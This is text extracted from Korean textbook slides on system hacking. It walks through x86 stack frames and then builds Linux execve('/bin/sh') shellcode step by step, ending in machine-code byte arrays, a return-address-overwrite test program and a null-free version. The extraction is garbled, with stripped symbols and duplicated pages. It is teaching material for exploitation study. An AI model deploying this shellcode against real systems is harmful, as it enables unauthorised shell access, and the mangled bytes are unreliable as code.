0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 64: 80×86  시스템에 대한 이해

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 65: 80×86  시스템에 대한 이해

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

